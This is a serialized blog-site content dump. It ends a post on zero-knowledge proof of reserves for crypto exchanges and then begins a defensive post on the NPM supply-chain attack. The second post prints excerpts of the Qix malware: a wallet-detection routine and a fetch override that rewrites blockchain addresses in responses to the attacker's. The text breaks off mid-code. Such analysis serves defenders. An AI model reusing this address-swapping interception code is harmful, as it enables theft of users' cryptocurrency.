that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":22,"tag":618,"props":98501,"children":98503},{"code":98502},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[98504],{"type":22,"tag":257,"props":98505,"children":98506},{"__ignoreMap":7},[98507],{"type":27,"value":98502},{"type":22,"tag":23,"props":98509,"children":98510},{},[98511],{"type":27,"value":98512},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":22,"tag":618,"props":98514,"children":98516},{"code":98515},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[98517],{"type":22,"tag":257,"props":98518,"children":98519},{"__ignoreMap":7},[98520],{"type":27,"value":98515},{"type":22,"tag":169,"props":98522,"children":98523},{"id":30246},[98524],{"type":27,"value":20252},{"type":22,"tag":23,"props":98526,"children":98527},{},[98528],{"type":27,"value":98529},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":22,"tag":23,"props":98531,"children":98532},{},[98533,98535,98541],{"type":27,"value":98534},"We are currently working with Backpack to implement this algorithm ",{"type":22,"tag":69,"props":98536,"children":98538},{"href":98350,"rel":98537},[73],[98539],{"type":27,"value":98540},"in production",{"type":27,"value":98542}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":22,"tag":23,"props":98544,"children":98545},{},[98546,98548,98555],{"type":27,"value":98547},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":22,"tag":69,"props":98549,"children":98552},{"href":98550,"rel":98551},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[73],[98553],{"type":27,"value":98554},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":27,"value":210},{"title":7,"searchDepth":1545,"depth":1545,"links":98557},[98558,98559,98560,98561,98564,98569,98573,98574,98578],{"id":93809,"depth":1545,"text":93812},{"id":93890,"depth":1545,"text":93893},{"id":93960,"depth":1545,"text":93963},{"id":94014,"depth":1545,"text":94017,"children":98562},[98563],{"id":94093,"depth":1560,"text":94096},{"id":94181,"depth":1545,"text":94184,"children":98565},[98566,98567,98568],{"id":94254,"depth":1560,"text":94257},{"id":94725,"depth":1560,"text":94728},{"id":96463,"depth":1560,"text":96466},{"id":98042,"depth":1545,"text":98045,"children":98570},[98571,98572],{"id":10579,"depth":1560,"text":98050},{"id":98104,"depth":1560,"text":98107},{"id":98234,"depth":1545,"text":98237},{"id":98365,"depth":1545,"text":98368,"children":98575},[98576,98577],{"id":98376,"depth":1560,"text":98379},{"id":98444,"depth":1560,"text":98447},{"id":30246,"depth":1545,"text":20252},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":98583,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":98584,"description":98585,"date":98586,"author":32515,"image":98587,"isFeatured":17,"onBlogPage":17,"tags":98590,"body":98593,"_type":4157,"_id":101019,"_source":4159,"_file":101020,"_stem":101021,"_extension":4162},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":98588,"width":98589,"height":14922},"/posts/supply-chain-attcks/title.png",1536,[98591,98592],"npm","supply-chain",{"type":19,"children":98594,"toc":101002},[98595,98608,98613,98618,98624,98629,98637,98967,98975,99538,99546,100253,100259,100264,100270,100275,100280,100286,100291,100303,100308,100334,100421,100433,100458,100474,100479,100484,100690,100732,100737,100749,100755,100767,100809,100822,100902,100914,100927,100934,100945,100953,100959,100972,100977,100981,100986,100998],{"type":22,"tag":23,"props":98596,"children":98597},{},[98598,98600,98606],{"type":27,"value":98599},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":22,"tag":257,"props":98601,"children":98603},{"className":98602},[],[98604],{"type":27,"value":98605},"chalk",{"type":27,"value":98607},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":22,"tag":23,"props":98609,"children":98610},{},[98611],{"type":27,"value":98612},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":22,"tag":23,"props":98614,"children":98615},{},[98616],{"type":27,"value":98617},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":22,"tag":169,"props":98619,"children":98621},{"id":98620},"qix-malware-how-it-worked",[98622],{"type":27,"value":98623},"Qix Malware: How It Worked",{"type":22,"tag":23,"props":98625,"children":98626},{},[98627],{"type":27,"value":98628},"The attacker published modified versions of packages with code designed to do three things:",{"type":22,"tag":1867,"props":98630,"children":98631},{},[98632],{"type":22,"tag":1871,"props":98633,"children":98634},{},[98635],{"type":27,"value":98636},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":22,"tag":618,"props":98638,"children":98640},{"code":98639,"language":32680,"meta":7,"className":32678,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[98641],{"type":22,"tag":257,"props":98642,"children":98643},{"__ignoreMap":7},[98644,98664,98676,98720,98737,98744,98780,98792,98820,98840,98860,98872,98879,98914,98934,98946,98953,98960],{"type":22,"tag":264,"props":98645,"children":98646},{"class":1534,"line":1535},[98647,98651,98655,98660],{"type":22,"tag":264,"props":98648,"children":98649},{"style":4293},[98650],{"type":27,"value":37460},{"type":22,"tag":264,"props":98652,"children":98653},{"style":4293},[98654],{"type":27,"value":39528},{"type":22,"tag":264,"props":98656,"children":98657},{"style":4401},[98658],{"type":27,"value":98659}," checkethereumw",{"type":22,"tag":264,"props":98661,"children":98662},{"style":1539},[98663],{"type":27,"value":17036},{"type":22,"tag":264,"props":98665,"children":98666},{"class":1534,"line":1545},[98667,98672],{"type":22,"tag":264,"props":98668,"children":98669},{"style":4328},[98670],{"type":27,"value":98671},"  try",{"type":22,"tag":264,"props":98673,"children":98674},{"style":1539},[98675],{"type":27,"value":4594},{"type":22,"tag":264,"props":98677,"children":98678},{"class":1534,"line":1560},[98679,98683,98688,98692,98696,98700,98704,98708,98712,98716],{"type":22,"tag":264,"props":98680,"children":98681},{"style":4293},[98682],{"type":27,"value":52989},{"type":22,"tag":264,"props":98684,"children":98685},{"style":1549},[98686],{"type":27,"value":98687}," _0x124ed3",{"type":22,"tag":264,"props":98689,"children":98690},{"style":4309},[98691],{"type":27,"value":4312},{"type":22,"tag":264,"props":98693,"children":98694},{"style":4328},[98695],{"type":27,"value":37526},{"type":22,"tag":264,"props":98697,"children":98698},{"style":1549},[98699],{"type":27,"value":32723},{"type":22,"tag":264,"props":98701,"children":98702},{"style":1539},[98703],{"type":27,"value":210},{"type":22,"tag":264,"props":98705,"children":98706},{"style":1549},[98707],{"type":27,"value":32732},{"type":22,"tag":264,"props":98709,"children":98710},{"style":1539},[98711],{"type":27,"value":210},{"type":22,"tag":264,"props":98713,"children":98714},{"style":4401},[98715],{"type":27,"value":32808},{"type":22,"tag":264,"props":98717,"children":98718},{"style":1539},[98719],{"type":27,"value":16440},{"type":22,"tag":264,"props":98721,"children":98722},{"class":1534,"line":1569},[98723,98728,98732],{"type":22,"tag":264,"props":98724,"children":98725},{"style":1597},[98726],{"type":27,"value":98727},"      'method'",{"type":22,"tag":264,"props":98729,"children":98730},{"style":1549},[98731],{"type":27,"value":5785},{"type":22,"tag":264,"props":98733,"children":98734},{"style":1597},[98735],{"type":27,"value":98736}," \"eth_accounts\"\n",{"type":22,"tag":264,"props":98738,"children":98739},{"class":1534,"line":1583},[98740],{"type":22,"tag":264,"props":98741,"children":98742},{"style":1539},[98743],{"type":27,"value":33572},{"type":22,"tag":264,"props":98745,"children":98746},{"class":1534,"line":1603},[98747,98751,98755,98760,98764,98768,98772,98776],{"type":22,"tag":264,"props":98748,"children":98749},{"style":4328},[98750],{"type":27,"value":13578},{"type":22,"tag":264,"props":98752,"children":98753},{"style":1539},[98754],{"type":27,"value":4370},{"type":22,"tag":264,"props":98756,"children":98757},{"style":1549},[98758],{"type":27,"value":98759},"_0x124ed3",{"type":22,"tag":264,"props":98761,"children":98762},{"style":1539},[98763],{"type":27,"value":210},{"type":22,"tag":264,"props":98765,"children":98766},{"style":1549},[98767],{"type":27,"value":9798},{"type":22,"tag":264,"props":98769,"children":98770},{"style":4309},[98771],{"type":27,"value":15493},{"type":22,"tag":264,"props":98773,"children":98774},{"style":4344},[98775],{"type":27,"value":4347},{"type":22,"tag":264,"props":98777,"children":98778},{"style":1539},[98779],{"type":27,"value":16103},{"type":22,"tag":264,"props":98781,"children":98782},{"class":1534,"line":1612},[98783,98788],{"type":22,"tag":264,"props":98784,"children":98785},{"style":4401},[98786],{"type":27,"value":98787},"      runmask",{"type":22,"tag":264,"props":98789,"children":98790},{"style":1539},[98791],{"type":27,"value":4977},{"type":22,"tag":264,"props":98793,"children":98794},{"class":1534,"line":1621},[98795,98799,98803,98808,98812,98816],{"type":22,"tag":264,"props":98796,"children":98797},{"style":4328},[98798],{"type":27,"value":40601},{"type":22,"tag":264,"props":98800,"children":98801},{"style":1539},[98802],{"type":27,"value":4370},{"type":22,"tag":264,"props":98804,"children":98805},{"style":1549},[98806],{"type":27,"value":98807},"rund",{"type":22,"tag":264,"props":98809,"children":98810},{"style":4309},[98811],{"type":27,"value":65709},{"type":22,"tag":264,"props":98813,"children":98814},{"style":4344},[98815],{"type":27,"value":5817},{"type":22,"tag":264,"props":98817,"children":98818},{"style":1539},[98819],{"type":27,"value":16103},{"type":22,"tag":264,"props":98821,"children":98822},{"class":1534,"line":1629},[98823,98828,98832,98836],{"type":22,"tag":264,"props":98824,"children":98825},{"style":1549},[98826],{"type":27,"value":98827},"        rund",{"type":22,"tag":264,"props":98829,"children":98830},{"style":4309},[98831],{"type":27,"value":4312},{"type":22,"tag":264,"props":98833,"children":98834},{"style":4344},[98835],{"type":27,"value":5817},{"type":22,"tag":264,"props":98837,"children":98838},{"style":1539},[98839],{"type":27,"value":4322},{"type":22,"tag":264,"props":98841,"children":98842},{"class":1534,"line":1642},[98843,98848,98852,98856],{"type":22,"tag":264,"props":98844,"children":98845},{"style":1549},[98846],{"type":27,"value":98847},"        neth",{"type":22,"tag":264,"props":98849,"children":98850},{"style":4309},[98851],{"type":27,"value":4312},{"type":22,"tag":264,"props":98853,"children":98854},{"style":4344},[98855],{"type":27,"value":5817},{"type":22,"tag":264,"props":98857,"children":98858},{"style":1539},[98859],{"type":27,"value":4322},{"type":22,"tag":264,"props":98861,"children":98862},{"class":1534,"line":1660},[98863,98868],{"type":22,"tag":264,"props":98864,"children":98865},{"style":4401},[98866],{"type":27,"value":98867},"        newdlocal",{"type":22,"tag":264,"props":98869,"children":98870},{"style":1539},[98871],{"type":27,"value":4977},{"type":22,"tag":264,"props":98873,"children":98874},{"class":1534,"line":1668},[98875],{"type":22,"tag":264,"props":98876,"children":98877},{"style":1539},[98878],{"type":27,"value":1609},{"type":22,"tag":264,"props":98880,"children":98881},{"class":1534,"line":1677},[98882,98886,98890,98894,98898,98902,98906,98910],{"type":22,"tag":264,"props":98883,"children":98884},{"style":1539},[98885],{"type":27,"value":17079},{"type":22,"tag":264,"props":98887,"children":98888},{"style":4328},[98889],{"type":27,"value":4619},{"type":22,"tag":264,"props":98891,"children":98892},{"style":4328},[98893],{"type":27,"value":17088},{"type":22,"tag":264,"props":98895,"children":98896},{"style":1539},[98897],{"type":27,"value":4370},{"type":22,"tag":264,"props":98899,"children":98900},{"style":1549},[98901],{"type":27,"value":98807},{"type":22,"tag":264,"props":98903,"children":98904},{"style":4309},[98905],{"type":27,"value":65709},{"type":22,"tag":264,"props":98907,"children":98908},{"style":4344},[98909],{"type":27,"value":5817},{"type":22,"tag":264,"props":98911,"children":98912},{"style":1539},[98913],{"type":27,"value":16103},{"type":22,"tag":264,"props":98915,"children":98916},{"class":1534,"line":1686},[98917,98922,98926,98930],{"type":22,"tag":264,"props":98918,"children":98919},{"style":1549},[98920],{"type":27,"value":98921},"      rund",{"type":22,"tag":264,"props":98923,"children":98924},{"style":4309},[98925],{"type":27,"value":4312},{"type":22,"tag":264,"props":98927,"children":98928},{"style":4344},[98929],{"type":27,"value":5817},{"type":22,"tag":264,"props":98931,"children":98932},{"style":1539},[98933],{"type":27,"value":4322},{"type":22,"tag":264,"props":98935,"children":98936},{"class":1534,"line":4948},[98937,98942],{"type":22,"tag":264,"props":98938,"children":98939},{"style":4401},[98940],{"type":27,"value":98941},"      newdlocal",{"type":22,"tag":264,"props":98943,"children":98944},{"style":1539},[98945],{"type":27,"value":4977},{"type":22,"tag":264,"props":98947,"children":98948},{"class":1534,"line":4957},[98949],{"type":22,"tag":264,"props":98950,"children":98951},{"style":1539},[98952],{"type":27,"value":1674},{"type":22,"tag":264,"props":98954,"children":98955},{"class":1534,"line":4980},[98956],{"type":22,"tag":264,"props":98957,"children":98958},{"style":1539},[98959],{"type":27,"value":7163},{"type":22,"tag":264,"props":98961,"children":98962},{"class":1534,"line":4989},[98963],{"type":22,"tag":264,"props":98964,"children":98965},{"style":1539},[98966],{"type":27,"value":1692},{"type":22,"tag":1867,"props":98968,"children":98969},{"start":1545},[98970],{"type":22,"tag":1871,"props":98971,"children":98972},{},[98973],{"type":27,"value":98974},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":22,"tag":618,"props":98976,"children":98978},{"code":98977,"language":32680,"meta":7,"className":32678,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[98979],{"type":22,"tag":257,"props":98980,"children":98981},{"__ignoreMap":7},[98982,99017,99074,99136,99151,99188,99227,99242,99281,99288,99321,99337,99396,99434,99459,99484,99508,99516,99531],{"type":22,"tag":264,"props":98983,"children":98984},{"class":1534,"line":1535},[98985,98989,98993,98997,99001,99005,99009,99013],{"type":22,"tag":264,"props":98986,"children":98987},{"style":4401},[98988],{"type":27,"value":35409},{"type":22,"tag":264,"props":98990,"children":98991},{"style":4309},[98992],{"type":27,"value":4312},{"type":22,"tag":264,"props":98994,"children":98995},{"style":4293},[98996],{"type":27,"value":37680},{"type":22,"tag":264,"props":98998,"children":98999},{"style":4293},[99000],{"type":27,"value":39528},{"type":22,"tag":264,"props":99002,"children":99003},{"style":1539},[99004],{"type":27,"value":4370},{"type":22,"tag":264,"props":99006,"children":99007},{"style":4309},[99008],{"type":27,"value":10889},{"type":22,"tag":264,"props":99010,"children":99011},{"style":1549},[99012],{"type":27,"value":39542},{"type":22,"tag":264,"props":99014,"children":99015},{"style":1539},[99016],{"type":27,"value":16103},{"type":22,"tag":264,"props":99018,"children":99019},{"class":1534,"line":1545},[99020,99024,99029,99033,99037,99042,99046,99050,99054,99058,99062,99066,99070],{"type":22,"tag":264,"props":99021,"children":99022},{"style":4293},[99023],{"type":27,"value":37503},{"type":22,"tag":264,"props":99025,"children":99026},{"style":1549},[99027],{"type":27,"value":99028}," originalResponse",{"type":22,"tag":264,"props":99030,"children":99031},{"style":4309},[99032],{"type":27,"value":4312},{"type":22,"tag":264,"props":99034,"children":99035},{"style":4328},[99036],{"type":27,"value":37526},{"type":22,"tag":264,"props":99038,"children":99039},{"style":1549},[99040],{"type":27,"value":99041}," originalFetch",{"type":22,"tag":264,"props":99043,"children":99044},{"style":1539},[99045],{"type":27,"value":210},{"type":22,"tag":264,"props":99047,"children":99048},{"style":4401},[99049],{"type":27,"value":39610},{"type":22,"tag":264,"props":99051,"children":99052},{"style":1539},[99053],{"type":27,"value":2660},{"type":22,"tag":264,"props":99055,"children":99056},{"style":4293},[99057],{"type":27,"value":18996},{"type":22,"tag":264,"props":99059,"children":99060},{"style":1539},[99061],{"type":27,"value":4380},{"type":22,"tag":264,"props":99063,"children":99064},{"style":4309},[99065],{"type":27,"value":10889},{"type":22,"tag":264,"props":99067,"children":99068},{"style":1549},[99069],{"type":27,"value":39542},{"type":22,"tag":264,"props":99071,"children":99072},{"style":1539},[99073],{"type":27,"value":5142},{"type":22,"tag":264,"props":99075,"children":99076},{"class":1534,"line":1560},[99077,99081,99086,99090,99094,99098,99103,99107,99111,99115,99120,99124,99128,99132],{"type":22,"tag":264,"props":99078,"children":99079},{"style":4293},[99080],{"type":27,"value":37503},{"type":22,"tag":264,"props":99082,"children":99083},{"style":1549},[99084],{"type":27,"value":99085}," contentType",{"type":22,"tag":264,"props":99087,"children":99088},{"style":4309},[99089],{"type":27,"value":4312},{"type":22,"tag":264,"props":99091,"children":99092},{"style":1549},[99093],{"type":27,"value":99028},{"type":22,"tag":264,"props":99095,"children":99096},{"style":1539},[99097],{"type":27,"value":210},{"type":22,"tag":264,"props":99099,"children":99100},{"style":1549},[99101],{"type":27,"value":99102},"headers",{"type":22,"tag":264,"props":99104,"children":99105},{"style":1539},[99106],{"type":27,"value":210},{"type":22,"tag":264,"props":99108,"children":99109},{"style":4401},[99110],{"type":27,"value":17652},{"type":22,"tag":264,"props":99112,"children":99113},{"style":1539},[99114],{"type":27,"value":2660},{"type":22,"tag":264,"props":99116,"children":99117},{"style":1597},[99118],{"type":27,"value":99119},"'Content-Type'",{"type":22,"tag":264,"props":99121,"children":99122},{"style":1539},[99123],{"type":27,"value":4390},{"type":22,"tag":264,"props":99125,"children":99126},{"style":4309},[99127],{"type":27,"value":23719},{"type":22,"tag":264,"props":99129,"children":99130},{"style":1597},[99131],{"type":27,"value":33154},{"type":22,"tag":264,"props":99133,"children":99134},{"style":1539},[99135],{"type":27,"value":4322},{"type":22,"tag":264,"props":99137,"children":99138},{"class":1534,"line":1569},[99139,99143,99147],{"type":22,"tag":264,"props":99140,"children":99141},{"style":4293},[99142],{"type":27,"value":9149},{"type":22,"tag":264,"props":99144,"children":99145},{"style":1549},[99146],{"type":27,"value":16404},{"type":22,"tag":264,"props":99148,"children":99149},{"style":1539},[99150],{"type":27,"value":4322},{"type":22,"tag":264,"props":99152,"children":99153},{"class":1534,"line":1583},[99154,99158,99162,99167,99171,99175,99179,99184],{"type":22,"tag":264,"props":99155,"children":99156},{"style":4328},[99157],{"type":27,"value":32709},{"type":22,"tag":264,"props":99159,"children":99160},{"style":1539},[99161],{"type":27,"value":4370},{"type":22,"tag":264,"props":99163,"children":99164},{"style":1549},[99165],{"type":27,"value":99166},"contentType",{"type":22,"tag":264,"props":99168,"children":99169},{"style":1539},[99170],{"type":27,"value":210},{"type":22,"tag":264,"props":99172,"children":99173},{"style":4401},[99174],{"type":27,"value":36495},{"type":22,"tag":264,"props":99176,"children":99177},{"style":1539},[99178],{"type":27,"value":2660},{"type":22,"tag":264,"props":99180,"children":99181},{"style":1597},[99182],{"type":27,"value":99183},"'application/json'",{"type":22,"tag":264,"props":99185,"children":99186},{"style":1539},[99187],{"type":27,"value":36508},{"type":22,"tag":264,"props":99189,"children":99190},{"class":1534,"line":1603},[99191,99195,99199,99203,99207,99211,99215,99219,99223],{"type":22,"tag":264,"props":99192,"children":99193},{"style":1549},[99194],{"type":27,"value":44548},{"type":22,"tag":264,"props":99196,"children":99197},{"style":4309},[99198],{"type":27,"value":4312},{"type":22,"tag":264,"props":99200,"children":99201},{"style":4328},[99202],{"type":27,"value":37526},{"type":22,"tag":264,"props":99204,"children":99205},{"style":1549},[99206],{"type":27,"value":99028},{"type":22,"tag":264,"props":99208,"children":99209},{"style":1539},[99210],{"type":27,"value":210},{"type":22,"tag":264,"props":99212,"children":99213},{"style":4401},[99214],{"type":27,"value":16719},{"type":22,"tag":264,"props":99216,"children":99217},{"style":1539},[99218],{"type":27,"value":31482},{"type":22,"tag":264,"props":99220,"children":99221},{"style":4401},[99222],{"type":27,"value":1527},{"type":22,"tag":264,"props":99224,"children":99225},{"style":1539},[99226],{"type":27,"value":4977},{"type":22,"tag":264,"props":99228,"children":99229},{"class":1534,"line":1612},[99230,99234,99238],{"type":22,"tag":264,"props":99231,"children":99232},{"style":1539},[99233],{"type":27,"value":32783},{"type":22,"tag":264,"props":99235,"children":99236},{"style":4328},[99237],{"type":27,"value":4619},{"type":22,"tag":264,"props":99239,"children":99240},{"style":1539},[99241],{"type":27,"value":4594},{"type":22,"tag":264,"props":99243,"children":99244},{"class":1534,"line":1621},[99245,99249,99253,99257,99261,99265,99269,99273,99277],{"type":22,"tag":264,"props":99246,"children":99247},{"style":1549},[99248],{"type":27,"value":44548},{"type":22,"tag":264,"props":99250,"children":99251},{"style":4309},[99252],{"type":27,"value":4312},{"type":22,"tag":264,"props":99254,"children":99255},{"style":4328},[99256],{"type":27,"value":37526},{"type":22,"tag":264,"props":99258,"children":99259},{"style":1549},[99260],{"type":27,"value":99028},{"type":22,"tag":264,"props":99262,"children":99263},{"style":1539},[99264],{"type":27,"value":210},{"type":22,"tag":264,"props":99266,"children":99267},{"style":4401},[99268],{"type":27,"value":16719},{"type":22,"tag":264,"props":99270,"children":99271},{"style":1539},[99272],{"type":27,"value":31482},{"type":22,"tag":264,"props":99274,"children":99275},{"style":4401},[99276],{"type":27,"value":27},{"type":22,"tag":264,"props":99278,"children":99279},{"style":1539},[99280],{"type":27,"value":4977},{"type":22,"tag":264,"props":99282,"children":99283},{"class":1534,"line":1629},[99284],{"type":22,"tag":264,"props":99285,"children":99286},{"style":1539},[99287],{"type":27,"value":7163},{"type":22,"tag":264,"props":99289,"children":99290},{"class":1534,"line":1642},[99291,99295,99300,99304,99309,99313,99317],{"type":22,"tag":264,"props":99292,"children":99293},{"style":4293},[99294],{"type":27,"value":37503},{"type":22,"tag":264,"props":99296,"children":99297},{"style":1549},[99298],{"type":27,"value":99299}," processedData",{"type":22,"tag":264,"props":99301,"children":99302},{"style":4309},[99303],{"type":27,"value":4312},{"type":22,"tag":264,"props":99305,"children":99306},{"style":4401},[99307],{"type":27,"value":99308}," replaceAddresses",{"type":22,"tag":264,"props":99310,"children":99311},{"style":1539},[99312],{"type":27,"value":2660},{"type":22,"tag":264,"props":99314,"children":99315},{"style":1549},[99316],{"type":27,"value":5013},{"type":22,"tag":264,"props":99318,"children":99319},{"style":1539},[99320],{"type":27,"value":5142},{"type":22,"tag":264,"props":99322,"children":99323},{"class":1534,"line":1660},[99324,99328,99333],{"type":22,"tag":264,"props":99325,"children":99326},{"style":4293},[99327],{"type":27,"value":37503},{"type":22,"tag":264,"props":99329,"children":99330},{"style":1549},[99331],{"type":27,"value":99332}," finalResponseText",{"type":22,"tag":264,"props":99334,"children":99335},{"style":4309},[99336],{"type":27,"value":37170},{"type":22,"tag":264,"props":99338,"children":99339},{"class":1534,"line":1668},[99340,99345,99349,99353,99358,99363,99367,99371,99375,99379,99383,99387,99392],{"type":22,"tag":264,"props":99341,"children":99342},{"style":4293},[99343],{"type":27,"value":99344},"    typeof",{"type":22,"tag":264,"props":99346,"children":99347},{"style":1549},[99348],{"type":27,"value":99299},{"type":22,"tag":264,"props":99350,"children":99351},{"style":4309},[99352],{"type":27,"value":32737},{"type":22,"tag":264,"props":99354,"children":99355},{"style":1597},[99356],{"type":27,"value":99357}," 'string'",{"type":22,"tag":264,"props":99359,"children":99360},{"style":4309},[99361],{"type":27,"value":99362}," ?",{"type":22,"tag":264,"props":99364,"children":99365},{"style":1549},[99366],{"type":27,"value":99299},{"type":22,"tag":264,"props":99368,"children":99369},{"style":4309},[99370],{"type":27,"value":36430},{"type":22,"tag":264,"props":99372,"children":99373},{"style":1549},[99374],{"type":27,"value":38842},{"type":22,"tag":264,"props":99376,"children":99377},{"style":1539},[99378],{"type":27,"value":210},{"type":22,"tag":264,"props":99380,"children":99381},{"style":4401},[99382],{"type":27,"value":40547},{"type":22,"tag":264,"props":99384,"children":99385},{"style":1539},[99386],{"type":27,"value":2660},{"type":22,"tag":264,"props":99388,"children":99389},{"style":1549},[99390],{"type":27,"value":99391},"processedData",{"type":22,"tag":264,"props":99393,"children":99394},{"style":1539},[99395],{"type":27,"value":5142},{"type":22,"tag":264,"props":99397,"children":99398},{"class":1534,"line":1677},[99399,99403,99408,99412,99416,99421,99425,99430],{"type":22,"tag":264,"props":99400,"children":99401},{"style":4293},[99402],{"type":27,"value":37503},{"type":22,"tag":264,"props":99404,"children":99405},{"style":1549},[99406],{"type":27,"value":99407}," finalResponse",{"type":22,"tag":264,"props":99409,"children":99410},{"style":4309},[99411],{"type":27,"value":4312},{"type":22,"tag":264,"props":99413,"children":99414},{"style":4293},[99415],{"type":27,"value":33248},{"type":22,"tag":264,"props":99417,"children":99418},{"style":4401},[99419],{"type":27,"value":99420}," Response",{"type":22,"tag":264,"props":99422,"children":99423},{"style":1539},[99424],{"type":27,"value":2660},{"type":22,"tag":264,"props":99426,"children":99427},{"style":1549},[99428],{"type":27,"value":99429},"finalResponseText",{"type":22,"tag":264,"props":99431,"children":99432},{"style":1539},[99433],{"type":27,"value":50202},{"type":22,"tag":264,"props":99435,"children":99436},{"class":1534,"line":1686},[99437,99442,99446,99450,99455],{"type":22,"tag":264,"props":99438,"children":99439},{"style":1549},[99440],{"type":27,"value":99441},"    status:",{"type":22,"tag":264,"props":99443,"children":99444},{"style":1549},[99445],{"type":27,"value":99028},{"type":22,"tag":264,"props":99447,"children":99448},{"style":1539},[99449],{"type":27,"value":210},{"type":22,"tag":264,"props":99451,"children":99452},{"style":1549},[99453],{"type":27,"value":99454},"status",{"type":22,"tag":264,"props":99456,"children":99457},{"style":1539},[99458],{"type":27,"value":4812},{"type":22,"tag":264,"props":99460,"children":99461},{"class":1534,"line":4948},[99462,99467,99471,99475,99480],{"type":22,"tag":264,"props":99463,"children":99464},{"style":1549},[99465],{"type":27,"value":99466},"    statusText:",{"type":22,"tag":264,"props":99468,"children":99469},{"style":1549},[99470],{"type":27,"value":99028},{"type":22,"tag":264,"props":99472,"children":99473},{"style":1539},[99474],{"type":27,"value":210},{"type":22,"tag":264,"props":99476,"children":99477},{"style":1549},[99478],{"type":27,"value":99479},"statusText",{"type":22,"tag":264,"props":99481,"children":99482},{"style":1539},[99483],{"type":27,"value":4812},{"type":22,"tag":264,"props":99485,"children":99486},{"class":1534,"line":4957},[99487,99492,99496,99500,99504],{"type":22,"tag":264,"props":99488,"children":99489},{"style":1549},[99490],{"type":27,"value":99491},"    headers:",{"type":22,"tag":264,"props":99493,"children":99494},{"style":1549},[99495],{"type":27,"value":99028},{"type":22,"tag":264,"props":99497,"children":99498},{"style":1539},[99499],{"type":27,"value":210},{"type":22,"tag":264,"props":99501,"children":99502},{"style":1549},[99503],{"type":27,"value":99102},{"type":22,"tag":264,"props":99505,"children":99506},{"style":1539},[99507],{"type":27,"value":4812},{"type":22,"tag":264,"props":99509,"children":99510},{"class":1534,"line":4980},[99511],{"type":22,"tag":264,"props":99512,"children":99513},{"style":1539},[99514],{"type":27,"value":99515},"  